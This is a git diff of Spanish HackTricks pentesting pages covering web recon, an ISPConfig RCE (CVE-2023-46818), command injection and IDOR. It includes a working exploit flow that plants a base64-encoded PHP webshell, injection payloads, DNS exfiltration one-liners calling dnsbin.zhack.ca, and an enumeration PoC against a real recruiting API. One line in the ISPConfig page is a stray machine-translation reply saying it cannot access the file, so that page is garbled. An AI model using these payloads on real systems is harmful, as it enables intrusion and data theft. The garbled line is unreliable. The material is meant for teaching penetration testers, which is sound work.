- **Descubrir nuevos parámetros**: Puedes usar herramientas como [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **y** [**Param Miner**](https://github.com/PortSwigger/param-miner) **para descubrir parámetros ocultos. Si puedes, podrías intentar buscar** parámetros ocultos en cada archivo web ejecutable.
- _Arjun todas las listas de palabras predeterminadas:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
+- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Encuentra enlaces rotos dentro de HTMLs que pueden ser susceptibles a takeover.
+- **File Backups**: Una vez que hayas encontrado todos los archivos, busca backups de todos los ficheros ejecutables ("_.php_", "_.aspx_"...). Variaciones comunes para nombrar backups son: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ También puedes usar la herramienta [**bfac**](https://github.com/mazen160/bfac) **o** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
+- **Discover new parameters**: Puedes usar herramientas como [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **y** [**Param Miner**](https://github.com/PortSwigger/param-miner) **para descubrir parámetros ocultos. Si puedes, intenta buscar** parámetros ocultos en cada archivo web ejecutable.
+- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
 - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
 - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
 - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **Comentarios:** Revisa los comentarios de todos los archivos, puedes encontrar **credenciales** o **funcionalidades ocultas**.
- Si estás jugando **CTF**, un truco "común" es **ocultar** **información** dentro de comentarios a la **derecha** de la **página** (usando **cientos** de **espacios** para que no veas los datos si abres el código fuente con el navegador). Otra posibilidad es usar **varias nuevas líneas** y **ocultar información** en un comentario en la **parte inferior** de la página web.
- **Claves API**: Si **encuentras alguna clave API** hay una guía que indica cómo usar claves API de diferentes plataformas: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Claves API de Google: Si encuentras alguna clave API que se parezca a **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik puedes usar el proyecto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) para verificar a qué APIs puede acceder la clave.
- **S3 Buckets**: Mientras haces spidering, verifica si algún **subdominio** o algún **enlace** está relacionado con algún **S3 bucket**. En ese caso, [**verifica** los **permisos** del bucket](buckets/index.html).
+- **Comments:** Revisa los comentarios de todos los archivos; puedes encontrar **credentials** o **funcionalidad oculta**.
+- Si estás jugando en **CTF**, un truco "común" es **ocultar** **información** dentro de comentarios a la **derecha** de la **página** (usando **centenares** de **espacios** para que no veas los datos si abres el código fuente con el navegador). Otra posibilidad es usar **varias líneas nuevas** y **ocultar información** en un comentario al **final** de la página web.
+- **API keys**: Si **encuentras alguna API key** hay proyectos que indican cómo usar API keys de diferentes plataformas: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
+- Google API keys: Si encuentras una API key que empiece por **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik puedes usar el proyecto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) para comprobar qué APIs puede consumir la key.
+- **S3 Buckets**: Mientras haces spidering busca si algún **subdomain** o algún **link** está relacionado con algún **S3 bucket**. En ese caso, [**check** the **permissions** of the bucket](buckets/index.html).

-### Hallazgos especiales
+### Special findings

-**Mientras** realizas el **spidering** y **fuerza bruta** podrías encontrar **cosas interesantes** que debes **notar**.
+**Mientras** realizas el **spidering** y el **brute-forcing** podrías encontrar **cosas interesantes** que debes **tener en cuenta**.

 **Archivos interesantes**

- Busca **enlaces** a otros archivos dentro de los **archivos CSS**.
- [Si encuentras un archivo _**.git**_ se puede extraer información](git.md)
- Si encuentras un _**.env**_ se puede encontrar información como claves API, contraseñas de bases de datos y otra información.
- Si encuentras **endpoints API** [también deberías probarlos](web-api-pentesting.md). Estos no son archivos, pero probablemente "se verán como" ellos.
- **Archivos JS**: En la sección de spidering se mencionaron varias herramientas que pueden extraer rutas de archivos JS. Además, sería interesante **monitorear cada archivo JS encontrado**, ya que en algunas ocasiones, un cambio puede indicar que se introdujo una vulnerabilidad potencial en el código. Podrías usar por ejemplo [**JSMon**](https://github.com/robre/jsmon)**.**
- También deberías revisar los archivos JS descubiertos con [**RetireJS**](https://github.com/retirejs/retire.js/) o [**JSHole**](https://github.com/callforpapers-source/jshole) para encontrar si es vulnerable.
- **Desofuscador y desempaquetador de Javascript:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Embellecedor de Javascript:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **Desofuscación de JsFuck** (javascript con caracteres:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
+- Busca **links** a otros ficheros dentro de los archivos **CSS**.
+- [If you find a _**.git**_ file some information can be extracted](git.md)
+- Si encuentras un _**.env**_ se pueden encontrar información como api keys, passwords de bases de datos y otra información.
+- Si encuentras **API endpoints** deberías [also test them](web-api-pentesting.md). Estos no son archivos, pero probablemente "se verán" como tales.
+- **JS files**: En la sección de spidering se mencionaron varias herramientas que pueden extraer paths de archivos JS. También sería interesante **monitorizar cada archivo JS encontrado**, ya que en algunas ocasiones un cambio puede indicar que se ha introducido una vulnerabilidad potencial en el código. Puedes usar por ejemplo [**JSMon**](https://github.com/robre/jsmon)**.**
+- También deberías comprobar los JS descubiertos con [**RetireJS**](https://github.com/retirejs/retire.js/) o [**JSHole**](https://github.com/callforpapers-source/jshole) para ver si son vulnerables.
+- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
+- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
+- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
 - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- En varias ocasiones, necesitarás **entender las expresiones regulares** utilizadas. Esto será útil: [https://regex101.com/](https://regex101.com) o [https://pythonium.net/regex](https://pythonium.net/regex)
- También podrías **monitorear los archivos donde se detectaron formularios**, ya que un cambio en el parámetro o la aparición de un nuevo formulario puede indicar una nueva funcionalidad potencialmente vulnerable.
+- En varias ocasiones necesitarás **entender las expresiones regulares** usadas. Esto te será útil: [https://regex101.com/](https://regex101.com) o [https://pythonium.net/regex](https://pythonium.net/regex)
+- También podrías **monitorizar los archivos donde se detectaron formularios**, ya que un cambio en los parámetros o la aparición de un nuevo formulario puede indicar una funcionalidad potencialmente vulnerable.

 **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**

@ -312,38 +313,38 @@ _Ten en cuenta que cada vez que se descubra un nuevo directorio durante la fuerz

 **502 Proxy Error**

-Si alguna página **responde** con ese **código**, probablemente sea un **proxy mal configurado**. **Si envías una solicitud HTTP como: `GET https://google.com HTTP/1.1`** (con el encabezado de host y otros encabezados comunes), el **proxy** intentará **acceder** a _**google.com**_ **y habrás encontrado un** SSRF.
+Si alguna página **responde** con ese **código**, probablemente sea un **proxy mal configurado**. **Si envías una petición HTTP como: `GET https://google.com HTTP/1.1`** (con el header Host y otros headers comunes), el **proxy** intentará **acceder** a _**google.com**_ **y habrás encontrado un** SSRF.

 **NTLM Authentication - Info disclosure**

-Si el servidor en ejecución que solicita autenticación es **Windows** o encuentras un inicio de sesión que pide tus **credenciales** (y solicita el **nombre** **de dominio**), puedes provocar una **divulgación de información**.\
-**Envía** el **encabezado**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` y debido a cómo funciona la **autenticación NTLM**, el servidor responderá con información interna (versión de IIS, versión de Windows...) dentro del encabezado "WWW-Authenticate".\
-Puedes **automatizar** esto utilizando el **plugin de nmap** "_http-ntlm-info.nse_".
+Si el servidor que solicita autenticación es **Windows** o encuentras un login que pide tus **credenciales** (y pide **nombre** de **dominio**), puedes provocar una **divulgación de información**.\
+**Envía** el **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` y debido a cómo funciona la **autenticación NTLM**, el servidor responderá con información interna (versión de IIS, versión de Windows...) dentro del header "WWW-Authenticate".\
+Puedes **automatizar** esto usando el **nmap plugin** "_http-ntlm-info.nse_".

 **HTTP Redirect (CTF)**

 Es posible **poner contenido** dentro de una **Redirección**. Este contenido **no se mostrará al usuario** (ya que el navegador ejecutará la redirección) pero algo podría estar **oculto** allí.

-### Verificación de vulnerabilidades web
+### Web Vulnerabilities Checking

-Ahora que se ha realizado una enumeración completa de la aplicación web, es hora de verificar muchas posibles vulnerabilidades. Puedes encontrar la lista de verificación aquí:
+Now that a comprehensive enumeration of the web application has been performed it's time to check for a lot of possible vulnerabilities. You can find the checklist here:


 {{#ref}}
 ../../pentesting-web/web-vulnerabilities-methodology.md
 {{#endref}}

-Encuentra más información sobre vulnerabilidades web en:
+Find more info about web vulns in:

 - [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
 - [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
 - [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)

-### Monitorear páginas para cambios
+### Monitor Pages for changes

-Puedes usar herramientas como [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) para monitorear páginas por modificaciones que podrían insertar vulnerabilidades.
+Puedes usar herramientas como [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) para monitorizar páginas y detectar modificaciones que pudieran introducir vulnerabilidades.

-### HackTricks Comandos Automáticos
+### HackTricks Automatic Commands
 ```
 Protocol_Name: Web    #Protocol Abbreviation if there is one.
 Port_Number:  80,443     #Comma separated if there is more than one.
--- a/src/network-services-pentesting/pentesting-web/ispconfig.md
+++ b/src/network-services-pentesting/pentesting-web/ispconfig.md
@ -0,0 +1,91 @@
+# ISPConfig
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## Visión general
+
+ISPConfig es un panel de control de hosting de código abierto. Las versiones antiguas 3.2.x incluían una función de editor de archivos de idioma que, cuando estaba habilitada para el superadministrador, permitía la inyección arbitraria de código PHP mediante un registro de traducción malformado. Esto puede dar lugar a RCE en el contexto del servidor web y, dependiendo de cómo se ejecute PHP, a escalada de privilegios.
+
+Rutas predeterminadas importantes:
+- La raíz web suele estar en `/var/www/ispconfig` cuando se sirve con `php -S` o vía Apache/nginx.
+- La interfaz de administración es accesible en el vhost HTTP(S) (a veces ligada solo a localhost; usa un reenvío de puertos SSH si es necesario).
+
+Consejo: Si el panel está ligado localmente (p. ej. `127.0.0.1:8080`), reenvíalo:
+```bash
+ssh -L 9001:127.0.0.1:8080 user@target
+# then browse http://127.0.0.1:9001
+```
+## Language editor PHP code injection (CVE-2023-46818)
+
+- Afectado: ISPConfig hasta 3.2.11 (corregido en 3.2.11p1)
+- Precondiciones:
+- Iniciar sesión con la cuenta superadmin incorporada `admin` (según el proveedor, otros roles no se ven afectados)
+- El editor de idioma debe estar habilitado: `admin_allow_langedit=yes` en `/usr/local/ispconfig/security/security_settings.ini`
+- Impacto: Un administrador autenticado puede inyectar PHP arbitrario que se escribe en un archivo de idioma y es ejecutado por la aplicación, logrando RCE en el contexto web
+
+Referencias: Entrada NVD CVE-2023-46818 y enlace del aviso del proveedor en la sección Referencias más abajo.
+
+### Flujo de explotación manual
+
+1) Abrir/crear un archivo de idioma para obtener tokens CSRF
+
+Enviar un primer POST para inicializar el formulario y parsear los campos CSRF desde la respuesta HTML (`csrf_id`, `csrf_key`). Ruta de ejemplo: `/admin/language_edit.php`.
+
+2) Inyectar PHP vía records[] y guardar
+
+Enviar un segundo POST que incluya los campos CSRF y un registro de traducción malicioso. Pruebas mínimas de ejecución de comandos:
+```http
+POST /admin/language_edit.php HTTP/1.1
+Host: 127.0.0.1:9001
+Content-Type: application/x-www-form-urlencoded
+Cookie: ispconfig_auth=...
+
+lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
+```
+Prueba fuera de banda (observar ICMP):
+```http
+records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
+```
+3) Escribir archivos y colocar un webshell
+
+Usa `file_put_contents` para crear un archivo en una ruta accesible desde la web (por ejemplo, `admin/`):
+```http
+records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
+```
+Luego escribe un webshell simple usando base64 para evitar caracteres no válidos en el cuerpo POST:
+```http
+records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
+```
+No tengo acceso directo a tu archivo. Por favor pega aquí el contenido de src/network-services-pentesting/pentesting-web/ispconfig.md que quieres que traduzca. Mantendré exactamente el mismo markdown/HTML y traduciré solo el texto relevante según tus instrucciones.
+```bash
+curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
+```
+Si PHP se ejecuta como root (p. ej., vía `php -S 127.0.0.1:8080` iniciado por root), esto produce root RCE inmediato. De lo contrario, obtienes code execution como el usuario del servidor web.
+
+### Python PoC
+
+Un exploit listo para usar automatiza el token handling y payload delivery:
+- https://github.com/bipbopbup/CVE-2023-46818-python-exploit
+
+Ejemplo de ejecución:
+```bash
+python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
+```
+### Endurecimiento
+
+- Actualizar a 3.2.11p1 o posterior
+- Desactivar el editor de idiomas salvo que sea estrictamente necesario:
+```
+admin_allow_langedit=no
+```
+- Evitar ejecutar el panel como root; configurar PHP-FPM o el servidor web para reducir privilegios
+- Imponer autenticación fuerte para la cuenta integrada `admin`
+
+## Referencias
+
+- [ISPConfig 3.2.11p1 Released (fixes language editor code injection)](https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/)
+- [CVE-2023-46818 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-46818)
+- [bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
+- [HTB Nocturnal: Root via ISPConfig language editor RCE](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
+
+{{#include ../../banners/hacktricks-training.md}}
--- a/src/pentesting-web/command-injection.md
+++ b/src/pentesting-web/command-injection.md
@ -1,16 +1,16 @@
-# Inyección de Comandos
+# Command Injection

 {{#include ../banners/hacktricks-training.md}}

-## ¿Qué es la inyección de comandos?
+## ¿Qué es command Injection?

-Una **inyección de comandos** permite la ejecución de comandos arbitrarios del sistema operativo por un atacante en el servidor que aloja una aplicación. Como resultado, la aplicación y todos sus datos pueden verse completamente comprometidos. La ejecución de estos comandos generalmente permite al atacante obtener acceso no autorizado o control sobre el entorno de la aplicación y el sistema subyacente.
+Una **command injection** permite la ejecución de comandos arbitrarios del sistema operativo por parte de un atacante en el servidor que aloja una aplicación. Como resultado, la aplicación y todos sus datos pueden verse completamente comprometidos. La ejecución de estos comandos típicamente permite al atacante obtener acceso o control no autorizado sobre el entorno de la aplicación y el sistema subyacente.

 ### Contexto

-Dependiendo de **dónde se esté inyectando tu entrada**, es posible que necesites **terminar el contexto citado** (usando `"` o `'`) antes de los comandos.
+Dependiendo de **dónde se inyecte tu entrada**, puede que necesites **terminar el contexto entrecomillado** (usando `"` o `'`) antes de los comandos.

-## Inyección/Ejecución de Comandos
+## Command Injection/Execution
 ```bash
 #Both Unix and Windows supported
 ls||id; ls ||id; ls|| id; ls || id # Execute both
@ -18,6 +18,7 @@ ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
 ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
 ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
 ls %0A id # %0A Execute both (RECOMMENDED)
+ls%0abash%09-c%09"id"%0a   # (Combining new lines and tabs)

 #Only unix supported
 `ls` # ``
@ -29,9 +30,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
 > /var/www/html/out.txt #Try to redirect the output to a file
 < /etc/passwd #Try to send some input to the command
 ```
-### **Limitaciones** Bypasses
+### **Limitación** Bypasses

-Si estás intentando ejecutar **comandos arbitrarios dentro de una máquina linux** te interesará leer sobre estos **Bypasses:**
+Si estás intentando ejecutar **comandos arbitrarios dentro de una máquina linux** te interesará leer acerca de estos **Bypasses:**


 {{#ref}}
@ -46,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
 ```
 ### Parámetros

-Aquí están los 25 principales parámetros que podrían ser vulnerables a la inyección de código y vulnerabilidades similares de RCE (de [link](https://twitter.com/trbughunters/status/1283133356922884096)):
+Aquí están los 25 parámetros principales que podrían ser vulnerables a code injection y a vulnerabilidades RCE similares (de [link](https://twitter.com/trbughunters/status/1283133356922884096)):
 ```
 ?cmd={payload}
 ?exec={payload}
@ -88,9 +89,9 @@ real    0m0.002s
 user    0m0.000s
 sys 0m0.000s
 ```
-### Exfiltración de datos basada en DNS
+### DNS based data exfiltration

-Basado en la herramienta de `https://github.com/HoLyVieR/dnsbin` también alojada en dnsbin.zhack.ca
+Basado en la herramienta de `https://github.com/HoLyVieR/dnsbin`, también alojada en dnsbin.zhack.ca
 ```
 1. Go to http://dnsbin.zhack.ca/
 2. Execute a simple 'ls'
@ -100,12 +101,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
 ```
 $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
 ```
-Herramientas en línea para verificar la exfiltración de datos basada en DNS:
+Herramientas online para comprobar DNS based data exfiltration:

 - dnsbin.zhack.ca
 - pingb.in

-### Bypass de filtrado
+### Filtering bypass

 #### Windows
 ```
@ -121,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad

 ### Node.js `child_process.exec` vs `execFile`

-Al auditar back-ends de JavaScript/TypeScript, a menudo te encontrarás con la API `child_process` de Node.js.
+Al auditar back-ends en JavaScript/TypeScript, con frecuencia se encontrará con la API Node.js `child_process`.
 ```javascript
 // Vulnerable: user-controlled variables interpolated inside a template string
 const { exec } = require('child_process');
@ -129,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
 /* … */
 });
 ```
-`exec()` genera un **shell** (`/bin/sh -c`), por lo tanto, cualquier carácter que tenga un significado especial para el shell (comillas invertidas, `;`, `&&`, `|`, `$()`, …) resultará en **inyección de comandos** cuando la entrada del usuario se concatene en la cadena.
+`exec()` lanza un **shell** (`/bin/sh -c`), por lo tanto cualquier carácter que tenga un significado especial para el shell (back-ticks, `;`, `&&`, `|`, `$()`, …) resultará en **command injection** cuando la entrada del usuario se concatene en la cadena.

-**Mitigación:** usa `execFile()` (o `spawn()` sin la opción `shell`) y proporciona **cada argumento como un elemento de matriz separado** para que no se involucre ningún shell:
+**Mitigación:** usa `execFile()` (o `spawn()` sin la opción `shell`) y proporciona **cada argumento como un elemento separado del array** para que no intervenga el shell:
 ```javascript
 const { execFile } = require('child_process');
 execFile('/usr/bin/do-something', [
@ -139,9 +140,9 @@ execFile('/usr/bin/do-something', [
 '--payload', JSON.stringify(payload)
 ]);
 ```
-Caso del mundo real: *Synology Photos* ≤ 1.7.0-0794 era explotable a través de un evento WebSocket no autenticado que colocaba datos controlados por el atacante en `id_user`, que luego se incrustaban en una llamada `exec()`, logrando RCE (Pwn2Own Irlanda 2024).
+Caso real: *Synology Photos* ≤ 1.7.0-0794 era explotable mediante un evento WebSocket no autenticado que colocaba datos controlados por el atacante en `id_user`, los cuales luego se insertaban en una llamada `exec()`, logrando RCE (Pwn2Own Ireland 2024).

-## Lista de Detección de Fuerza Bruta
+## Brute-Force Detection List


 {{#ref}}
@ -153,6 +154,8 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
 - [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
- [Extracción de archivos cifrados de Synology – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
+- [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
+- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php)
+- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)

 {{#include ../banners/hacktricks-training.md}}
--- a/src/pentesting-web/idor.md
+++ b/src/pentesting-web/idor.md
@ -1,5 +1,106 @@
-{{#include ../banners/hacktricks-training.md}}
-
-**Consulta el post: [https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)**
+# IDOR (Insecure Direct Object Reference)

 {{#include ../banners/hacktricks-training.md}}
+
+IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) aparece cuando un endpoint web o API revela o acepta un identificador controlable por el usuario que se usa **directamente** para acceder a un objeto interno **sin verificar que el llamante esté autorizado** para acceder/modificar ese objeto.
+La explotación exitosa normalmente permite escalamiento de privilegios horizontal o vertical, como leer o modificar datos de otros usuarios y, en el peor de los casos, la toma total de cuentas o la exfiltración masiva de datos.
+
+---
+## 1. Identificando posibles IDOR
+
+1. Busca **parámetros que hagan referencia a un objeto**:
+* Ruta: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
+* Consulta: `?id=42`, `?invoice=2024-00001`
+* Cuerpo / JSON: `{"user_id": 321, "order_id": 987}`
+* Encabezados / Cookies: `X-Client-ID: 4711`
+2. Prioriza endpoints que **leen o actualizan** datos (`GET`, `PUT`, `PATCH`, `DELETE`).
+3. Observa cuando los identificadores son **secuenciales o predecibles** – si tu ID es `64185742`, entonces `64185741` probablemente exista.
+4. Explora flujos ocultos o alternativos (p. ej. *"Paradox team members"* link en las páginas de login) que puedan exponer APIs adicionales.
+5. Usa una sesión autenticada con **pocos privilegios** y cambia solo el ID **manteniendo el mismo token/cookie**. La ausencia de un error de autorización suele ser señal de IDOR.
+
+### Quick manual tampering (Burp Repeater)
+```
+PUT /api/lead/cem-xhr HTTP/1.1
+Host: www.example.com
+Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
+Content-Type: application/json
+
+{"lead_id":64185741}
+```
+### Enumeración automatizada (Burp Intruder / bucle de curl)
+```bash
+for id in $(seq 64185742 64185700); do
+curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
+-H 'Content-Type: application/json' \
+-H "Cookie: auth=$TOKEN" \
+-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
+done
+```
+---
+
+### Error-response oracle for user/file enumeration
+
+Cuando un download endpoint acepta tanto un username como un filename (p. ej. `/view.php?username=<u>&file=<f>`), sutiles diferencias en los mensajes de error a menudo crean un oracle:
+
+- Username inexistente → "User not found"
+- Filename inválido pero extensión válida → "File does not exist" (a veces también lista archivos disponibles)
+- Extensión inválida → validation error
+
+Con cualquier sesión autenticada, puedes fuzzear el parámetro username mientras mantienes un filename benigno y filtrar por la cadena "user not found" para descubrir usuarios válidos:
+```bash
+ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
+-b 'PHPSESSID=<session-cookie>' \
+-w /opt/SecLists/Usernames/Names/names.txt \
+-fr 'User not found'
+```
+Una vez que se identifican nombres de usuario válidos, solicita archivos específicos directamente (por ejemplo, `/view.php?username=amanda&file=privacy.odt`). Este patrón suele conducir a la divulgación no autorizada de documentos de otros usuarios y a la exposición de credenciales.
+
+---
+## 2. Estudio de caso real – McHire Chatbot Platform (2025)
+
+Durante una evaluación del portal de reclutamiento Paradox.ai-powered **McHire** se descubrió la siguiente IDOR:
+
+* Endpoint: `PUT /api/lead/cem-xhr`
+* Authorization: user session cookie for **any** restaurant test account
+* Body parameter: `{"lead_id": N}` – 8-digit, **sequential** numeric identifier
+
+Al disminuir `lead_id` el tester recuperó la **full PII** de solicitantes arbitrarios (nombre, e-mail, teléfono, dirección, preferencias de turno) además de un consumidor **JWT** que permitió session hijacking. La enumeración del rango `1 – 64,185,742` expuso aproximadamente **64 millones** de registros.
+
+Proof-of-Concept request:
+```bash
+curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
+-H 'Content-Type: application/json' \
+-d '{"lead_id":64185741}'
+```
+Combinada con las **credenciales administrativas por defecto** (`123456:123456`) que daban acceso a la cuenta de prueba, la vulnerabilidad resultó en una brecha de datos crítica a nivel de toda la empresa.
+
+---
+## 3. Impacto de IDOR / BOLA
+* Escalada horizontal – leer/actualizar/eliminar los datos de **otros usuarios**.
+* Escalada vertical – un usuario con pocos privilegios obtiene funcionalidad exclusiva de administrador.
+* Brecha masiva de datos si los identificadores son secuenciales (p. ej., IDs de solicitantes, facturas).
+* Secuestro de cuentas mediante el robo de tokens o el restablecimiento de contraseñas de otros usuarios.
+
+---
+## 4. Mitigaciones & Best Practices
+1. **Aplicar autorización a nivel de objeto** en cada solicitud (`user_id == session.user`).
+2. Preferir **identificadores indirectos e impredecibles** (UUIDv4, ULID) en lugar de IDs auto-incrementales.
+3. Realizar la autorización **en el servidor**, nunca confíes en campos de formulario ocultos o controles de la interfaz de usuario.
+4. Implementa verificaciones **RBAC / ABAC** en un middleware central.
+5. Agrega **rate-limiting & logging** para detectar la enumeración de IDs.
+6. Realiza pruebas de seguridad en cada nuevo endpoint (unit, integration, and DAST).
+
+---
+## 5. Tooling
+* **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder.
+* **OWASP ZAP**: Auth Matrix, Forced Browse.
+* **Github projects**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting).
+
+
+
+## References
+* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds)
+* [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
+* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
+* [HTB Nocturnal: IDOR oracle → file theft](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
+{{#include ../banners/hacktricks-training.md}}